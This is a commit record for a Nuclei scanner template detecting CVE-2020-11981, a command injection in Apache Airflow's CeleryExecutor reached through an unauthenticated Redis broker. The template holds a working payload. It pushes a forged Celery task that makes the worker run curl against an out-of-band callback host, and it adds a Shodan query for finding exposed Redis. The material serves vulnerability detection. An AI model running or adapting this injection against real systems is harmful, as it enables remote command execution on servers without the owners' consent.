Merge pull request #7242 from projectdiscovery/pussycat0x-patch-6

CVE-2020-11981
patch-1
Dhiyaneshwaran 2023-05-18 15:10:00 +05:30 committed by GitHub
commit 89ac9e63d6
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id: CVE-2020-11981
info:
name: Apache Airflow <=1.10.10 - Command Injection
author: pussycat0x
severity: critical
description: |
An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.
reference:
- https://github.com/apache/airflow/pull/9178
- https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981
metadata:
verified: "true"
shodan-query: product:"redis"
tags: network,redis,unauth,apache,airflow
variables:
data: "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \""
encode1: '[[["curl", "http://'
encode2: '"]], {}, {"chain": null, "chord": null, "errbacks": null, "callbacks": null}]'
end: '"}'
tcp:
- inputs:
- data: "{{data+base64(encode1+'{{interactsh-url}}'+encode2)+concat(end+ '\r\n')}}"
read: 1024
host:
- "{{Hostname}}"
- "{{Host}}:6379"
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"